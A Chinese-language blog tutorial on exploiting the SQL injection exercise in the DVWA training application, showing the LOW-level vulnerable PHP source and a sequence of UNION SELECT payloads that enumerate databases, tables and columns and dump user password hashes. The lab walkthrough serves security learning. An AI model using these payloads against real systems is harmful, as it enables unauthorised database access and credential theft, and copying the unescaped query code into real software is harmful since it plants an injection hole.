DVWA 之 SQL Injection

本文详细探讨了DVWA中SQL Injection的LOW、Medium和High三个等级的漏洞利用,通过手工注入测试和源码分析揭示了不同等级的防御措施。在LOW等级,直接注入单引号触发错误,通过联合查询获取敏感信息。Medium等级,利用数字型注入绕过转义,同样获取数据。而High等级由于额外的防御函数和is_numeric()检查,使得直接注入变得困难。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

根据自己的知识积累进行手工注入测试,若有说的不恰当的地方,还望指正~

因为我发现不同版本的DVWA源码有一定程度上的不同,所以我会把源码在每题讲解后面贴出来,这样可以方便对应,我这里的版本是 v1.0.7
在这里插入图片描述

一、LOW等级
  • 输入框输入单引号’,报错
    在这里插入图片描述
    证明有SQL注入
  • ‘ union select 1,2 # 可以看哪些数据可以回显
    在这里插入图片描述
    如果跟能回显的数据量不一样,则报错
    在这里插入图片描述

在这里插入图片描述

  • 查看所有数据库名称,'union select 1,group_concat(schema_name) from information_schema.schemata #
    在这里插入图片描述

  • 查看当前数据库 ,’ union select 1,database() #
    在这里插入图片描述

  • 查看数据库dvwa下的表
    ’ union select 1,table_name from information_schema.tables where table_schema=“dvwa” #
    在这里插入图片描述

  • 查看users 表的字段 ’ union select 1,group_concat(column_name) from information_schema.columns where table_name=“users” #
    在这里插入图片描述

  • 查看users表里的user 和 password ,中间用~连起来 ’ union select 1,concat_ws(’~’,user,password) from dvwa.users #
    在这里插入图片描述
    这里不得不说,手工注入还是比不上sqlmap,如果是在sqlmap,这里显示的密码就不是hash值了,而是给我们爆破解出来的值了。


#LOW等级源码
<?php    

if(isset($_GET['Submit'])){
   
    
    // Retrieve data
    
    $id = $_GET['id'];

    $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
    $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );

    $num = mysql_numrows($result);

    $i = 0;

    
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值